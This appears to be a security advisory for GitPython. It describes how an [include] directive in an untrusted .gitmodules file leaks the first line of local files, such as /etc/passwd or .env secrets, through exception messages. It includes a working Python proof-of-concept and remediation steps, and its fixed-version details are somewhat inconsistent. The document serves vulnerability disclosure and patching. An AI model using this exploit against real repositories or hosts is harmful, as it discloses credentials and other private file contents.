GHSA-7833-fr7j-v32q: Infoleak
[HIGH] Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables mergeincludes)
- CWE: CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path) - Affected component: git/objects/submodule/base.py, Submodule.configparser() (~line 273) constructing SubmoduleConfigParser(fpmodule, readonly=readonly); git/config.py, GitConfigParser.init (mergeincludes default), GitConfigParser.read()/includedpaths() (include-path resolution, ~lines 630-685), GitConfigParser.read() (~line 493-498, MissingSectionHeaderError) - Affected version: GitPython at HEAD (9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION 3.1.58)
Reachability GitConfigParser.init defaults mergeincludes=True: any config file it parses has its [include] (and, when a repo= is supplied, [includeIf ...]) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit 41ecc6a4 ("Disable mergeincludes in config writers"), which passes mergeincludes=False when Repo.configwriter() builds its parser (git/repo/base.py).
That fix never touched Submodule.configparser(). This method builds the parser used for every read of a repo's submodule configuration — repo.submodules, Submodule.iteritems(), Submodule.config() — via SubmoduleConfigParser(fpmodule, readonly=readonly), passing neither mergeincludes=False nor repo=. The True class default is therefore inherited unchanged, and fpmodule here is .gitmodules — the single most attacker-controlled config file in the entire codebase, since it ships verbatim as tracked content inside any cloned repository.
GitConfigParser.read()'s include-path resolution (~line 662-680) performs no containment check: osp.isabs(includepath) short-circuits the path join entirely for an absolute path, and a relative path is joined with osp.join(osp.dirname(filepath), includepath) / osp.normpath()'d with no check that the result stays under the repository. ~ is expanded via osp.expanduser. The only gate before opening is os.access(includepath, os.ROK) — a readability check, not a path restriction.
Once opened, GitConfigParser.read() parses the target file as git-config INI. If the first non-blank/non-comment line is not a [section] header — true of virtually any non-gitconfig file (source code, /etc/passwd, .env files, credential files, logs, JSON/YAML) — it raises configparser.MissingSectionHeaderError(fpname, lineno, line). Python's stdlib formats this exception's str() as "File contains no section headers.\nfile: %r, line: %d\n%r" % (fpname, lineno, line) — it embeds the verbatim content of that file's first line in the exception message. Submodule.iteritems() catches only (IOError, BadName), not configparser.Error, so this exception propagates straight out of the ordinary, read-only repo.submodules call.
Root cause Parity gap between two config-parser construction sites for the exact same footgun: Repo.configwriter() was hardened against mergeincludes in 2023 (41ecc6a4); Submodule.configparser() — which parses .gitmodules, content that is always attacker-controlled the moment a repository is cloned from an untrusted source — was never given the same treatment. (The submodule write-mode config parser at git/objects/submodule/base.py for .git/modules/<name>/config — a different, locally-generated file — has correctly passed mergeincludes=False since 2022, underscoring that the omission for .gitmodules reads looks like an oversight rather than a considered exception.)
Exploit path 1. Attacker crafts a repository whose .gitmodules contains a legitimate-looking [submodule ...] section plus: [include] path = /etc/passwd (an absolute path bypasses any traversal reasoning entirely; a relative ../../../../etc/passwd-style path works too). 2. Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo's submodules: list(repo.submodules) (or any for sm in repo.submodules) — no update(), init(), or checkout of any kind required. 3. SubmoduleConfigParser (inheriting mergeincludes=True) follows the [include] directive, opens /etc/passwd, and GitConfigParser.read() raises MissingSectionHeaderError whose message embeds /etc/passwd's first line verbatim. 4. This exception surfaces wherever the host application observes exceptions from GitPython — CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on repo.submodules — disclosing the targeted file's first line to the attacker (directly, or indirectly via any channel that echoes the error).
Impact Non-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first MissingSectionHeaderError), but that line very often is the secret — .env files (DATABASEURL=..., APIKEY=...), single-line credential/token files, /etc/passwd's root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly blind GHSA-cwvm-v4w8-q58c ("Blind local file inclusion", CVSS 4.0, git/refs/symbolic.py ref-name resolution) — that advisory's own writeup states it cannot disclose content; this one does, verbatim, via a different module (git/config.py's include resolution).
Preconditions - Victim clones (or otherwise opens with GitPython) a repository whose .gitmodules is attacker-controlled — the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, "audit this repo" utilities — exactly the class of application GitPython itself is built for). - Victim performs any operation that touches repo.submodules — one of the most ordinary GitPython operations, requiring no submodule update/init/checkout. - No authentication/role requirement inside GitPython itself.
Evidence - git/config.py — GitConfigParser.init defaults mergeincludes=True. - git/objects/submodule/base.py:273 — SubmoduleConfigParser(fpmodule, readonly=readonly) passes neither mergeincludes nor repo=; git blame shows this call unchanged since the class was introduced, and git show 41ecc6a4 confirms that commit touched only git/repo/base.py's Repo.configwriter(), never this call site. - git/config.py includedpaths()/read() (~630-685) — absolute include paths bypass the join/normpath entirely (osp.isabs() short-circuit); no repository-boundary containment check exists anywhere in this path. - git/config.py read() (~493-498) — raises cp.MissingSectionHeaderError(fpname, lineno, line) with the raw file line embedded, matching Python stdlib configparser's own str behavior. - Submodule.iteritems() catches only (IOError, BadName) — configparser.Error (the base of MissingSectionHeaderError) is not swallowed. - PoC (gitpython-003-poc.py, embedded below) reproduces this end-to-end against this exact checkout via the public API only (Repo.clonefrom + list(repo.submodules), default arguments, no monkeypatching), against both a throwaway secret file and /etc/passwd.
False-positive check (adversarial re-read) - Is this the same bug as GHSA-hmq2-w58f-27jc? No — that advisory is about the .gitmodules submodule name driving moduleabspath/os.makedirs() (creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the [include] directive in the same file reaching a config-parser read primitive — a different mechanism, different function, different impact class (content disclosure, not directory creation). - Is this the same bug as GHSA-cwvm-v4w8-q58c (blind LFI)? No — that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives in git/refs/symbolic.py's ref-name resolution feeding Repo.commit/tree/index.diff — an entirely different module and code path. This finding discloses actual file content via git/config.py's include-directive resolution. - Is the impact overstated given only one line leaks? No — this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard clonefrom + list(repo.submodules) workflow. - Could the exception simply be silently swallowed by GitPython before reaching the caller? No — confirmed by reading Submodule.iteritems()'s exception handling, which catches only IOError/BadName; configparser.MissingSectionHeaderError propagates uncaught. - Verdict: no concrete blocker found. CONFIRMED — reproduced independently against both a throwaway secret file and /etc/passwd.
Remediation Pass mergeincludes=False when constructing SubmoduleConfigParser in Submodule.configparser() (git/objects/submodule/base.py), mirroring the existing fix in Repo.configwriter() (commit 41ecc6a4) — .gitmodules content is always attacker-controlled and should never be allowed to pull in include/includeIf directives. As defense in depth, GitConfigParser.read()'s include-path resolution should enforce that resolved include paths stay within the repository's own directory tree, and parsing-error messages (MissingSectionHeaderError/ParsingError) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.
Confidence High. Root cause confirmed by direct code reading across both git/config.py and git/objects/submodule/base.py, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and /etc/passwd).
Proof-of-Concept source (gitpython-003-poc.py)
python #!/usr/bin/env python3 """ GITPYTHON-003 PoC: .gitmodules -- fully attacker-controlled content shipped inside a cloned repository -- can contain [include] path = <any local path>. Submodule.configparser() builds the parser used for repo.submodules (and other submodule reads) via SubmoduleConfigParser(fpmodule, readonly=...) without passing mergeincludes=False, so the class default mergeincludes=True is inherited. GitConfigParser then opens the target file; if it isn't valid git-config syntax (true of virtually any non-gitconfig file), Python's configparser.MissingSectionHeaderError embeds the file's first line verbatim in its exception message, which propagates out of the ordinary, read-only repo.submodules call -- a non-blind local file content disclosure primitive.
Run: PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-003-poc.py <workdir> <target-file>
Benign: reads only the given <target-file> (defaults to a throwaway secret file created under <workdir> if omitted) and never writes/exfiltrates it anywhere except printing it locally to prove the primitive. No destructive action. """ import os import subprocess import sys
def main(): workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-003-poc" targetfile = sys.argv[2] if len(sys.argv) > 2 else os.path.join(workdir, "secret.txt")
attackerrepo = os.path.join(workdir, "attacker-repo") dest = os.path.join(workdir, "dest") for p in (attackerrepo, dest): os.makedirs(p, existok=True)
if not os.path.exists(targetfile): os.makedirs(os.path.dirname(targetfile), existok=True) with open(targetfile, "w") as f: f.write("TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\n")
subprocess.run(["git", "init", "-q", "-b", "main", attackerrepo], check=True) subprocess.run(["git", "-C", attackerrepo, "config", "user.email", "a@example.com"], check=True) subprocess.run(["git", "-C", attackerrepo, "config", "user.name", "Attacker"], check=True)
with open(os.path.join(attackerrepo, "file.txt"), "w") as f: f.write("hello\n")
with open(os.path.join(attackerrepo, ".gitmodules"), "w") as f: f.write( '[submodule "totally-normal-dep"]\n' "\tpath = vendor/dep\n" "\turl = https://example.com/dep.git\n" "[include]\n" "\tpath = %s\n" % targetfile )
subprocess.run(["git", "-C", attackerrepo, "add", "file.txt", ".gitmodules"], check=True) subprocess.run(["git", "-C", attackerrepo, "commit", "-q", "-m", "init"], check=True)
import git # gitpython under test import configparser
repo = git.Repo.clonefrom(attackerrepo, dest)
try: subs = list(repo.submodules) print("NOT VULNERABLE: no exception raised, submodules =", subs) sys.exit(1) except configparser.MissingSectionHeaderError as e: msg = str(e) print("VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:") print(msg) with open(targetfile) as f: firstline = f.readline().rstrip("\n") if firstline in msg: print("Confirmed: target file's first line is present verbatim in the exception message.") sys.exit(0) else: print("NOT VULNERABLE: exception message did not contain the expected content") sys.exit(1)
if name == "main": main()
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/GitPythonto a version that resolves this vulnerability.Fixed in 3.1.59 - Upgrade
Upgrade
GitPythonto a version that resolves this vulnerability.Fixed in 3.1.58Patch 41ecc6a4 - Configuration
In Submodule._config_parser(), construct SubmoduleConfigParser(fp_module, read_only=read_only) with merge_includes=False (do not use the default merge_includes=True), mirroring the existing hardening applied to Repo.config_writer() in commit 41ecc6a4; this prevents attacker-controlled .gitmodules from pulling in [include]/[includeIf] directives.
GitPython SubmoduleConfigParser (git/objects/submodule/base.py) merge_includes = False
Event History
Frequently Asked Questions
Is the default configuration affected?
Yes. GitConfigParser defaults merge_includes to true, and SubmoduleConfigParser is constructed without disabling it when parsing submodule configuration.
What must an attacker be able to do to exploit this?
An attacker needs to cause GitPython to parse an untrusted .gitmodules file containing an include directive. The supplied vector is local, with no privileges or user interaction required.
Are conditional include directives also followed?
Yes, include directives are followed and merged. includeIf directives are also processed when a repo argument is supplied to the parser.